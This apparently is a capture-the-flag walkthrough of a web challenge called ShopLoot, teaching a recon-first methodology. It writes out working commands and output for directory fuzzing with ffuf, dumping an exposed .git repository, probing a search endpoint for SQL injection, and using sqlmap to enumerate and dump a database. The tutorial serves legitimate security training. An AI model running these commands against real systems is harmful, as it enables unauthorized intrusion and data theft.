At DEF CON 34, a web challenge called ShopLoot stumped hundreds of teams for six hours. The winning team solved it in forty minutes — not because they were smarter, but because they followed a disciplined methodology. Same tools, same target, completely different outcome. Here is that methodology, shown with real commands you can run today.
Step 1: Recon Before You Touch Anything
Your first instinct will be to click around the app. Resist it. Automated recon runs while you think, and it catches things your eyes miss.
Start with ffuf — a fast web fuzzer that discovers hidden files and directories by brute-forcing paths against a wordlist.
ffuf -u http://192.0.2.47/FUZZ \
-w /usr/share/wordlists/dirb/common.txt \
-mc 200,301,302,403 \
-t 40 \
-o recon/ffuf_root.json
After ninety seconds, your output looks like this:
admin [Status: 301, Size: 0]
api [Status: 200, Size: 1482]
backup [Status: 403, Size: 276]
.git [Status: 200, Size: 512]
upload [Status: 200, Size: 94]
Two results jump out immediately. A .git directory exposed on a web server means source code is leaking. A backup path returning 403 means the file exists but access is blocked — a soft wall, not a hard one. Prioritize .git first.
Pull the exposed repository with git-dumper — a tool that reconstructs a Git repo from a publicly accessible .git folder.
git-dumper http://192.0.2.47/.git/ ./dumped_repo
[*] Fetching .git/HEAD
[*] Fetching .git/config
[*] Fetching .git/COMMIT_EDITMSG
[+] Fetching objects...
[+] Running git checkout .
You now have the application’s full source code locally. Open config.php or equivalent and look for hardcoded credentials, API keys, or database connection strings. In ShopLoot, this revealed a JWT secret: superS3cretKey_2024. That one file changed the entire attack surface.
Step 2: Map the API and Find the Injection Point
With source code in hand, you can read the routes instead of guessing them. In the dumped repo, api/routes.php showed an unauthenticated endpoint at /api/products/search accepting a query parameter.
Test it manually first to understand normal behavior:
curl -s "http://192.0.2.47/api/products/search?query=shirt" | python3 -m json.tool
{
"results": [
{"id": 4, "name": "Red Shirt", "price": 19.99},
{"id": 7, "name": "Blue Shirt", "price": 24.99}
],
"count": 2
}
Normal output. Now inject a single quote to probe for SQL errors:
curl -s "http://192.0.2.47/api/products/search?query=shirt'"
{
"error": "You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''shirt'''
at line 1"
}
The server echoed a raw MySQL error. This is a confirmed SQL injection vulnerability. The application is concatenating your input directly into a query — a classic mistake that appeared in CVE-2024-28085 and dozens of CTF challenges before it.
Hand this off to sqlmap — an automated SQL injection tool — to enumerate the database without guessing payloads manually:
sqlmap -u "http://192.0.2.47/api/products/search?query=shirt" \
--dbs \
--batch \
--level=2 \
--risk=1
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [3]:
[*] information_schema
[*] shoploot_prod
[*] shoploot_flags
A database named shoploot_flags in a CTF is not subtle. Dump it:
sqlmap -u "http://192.0.2.47/api/products/search?query=shirt" \
-D shoploot_flags \
--dump \
--batch
Table: flags
+----+----------------------------------------------+
| id | flag |
+----+----------------------------------------------+
| 1 | FLAG{sql_inject10n_is_never_dead_2026} |
+----+----------------------------------------------+
Forty minutes. Two tools. One disciplined process.
What Makes This Methodology Repeatable
The sequence that worked here works on most CTF web challenges: enumerate broadly, then dig into what looks wrong. An exposed .git directory is always worth investigating. A 403 on a backup path is always worth a bypass attempt. An error message that echoes SQL syntax is always worth an injection test.
Document every step in a notes file as you go. In team CTFs, your teammate needs to pick up exactly where you stopped. In solo runs, your notes become a personal playbook you refine over time.
The tools here — ffuf, git-dumper, sqlmap — are free, well-maintained, and available in Kali and Parrot by default. The methodology is transferable to bug bounty targets under program scope, not just CTF boxes.
Try This Right Now
Spin up a free account on HackTheBox or PicoCTF and pick any active web challenge rated Easy or Medium. Run the exact ffuf command from Step 1 against the target URL before touching the app in a browser. Write down every status code you see and ask yourself: why is that path returning a 403? What is behind it? That single habit — recon first, click later — will change how you approach every web target you ever touch.
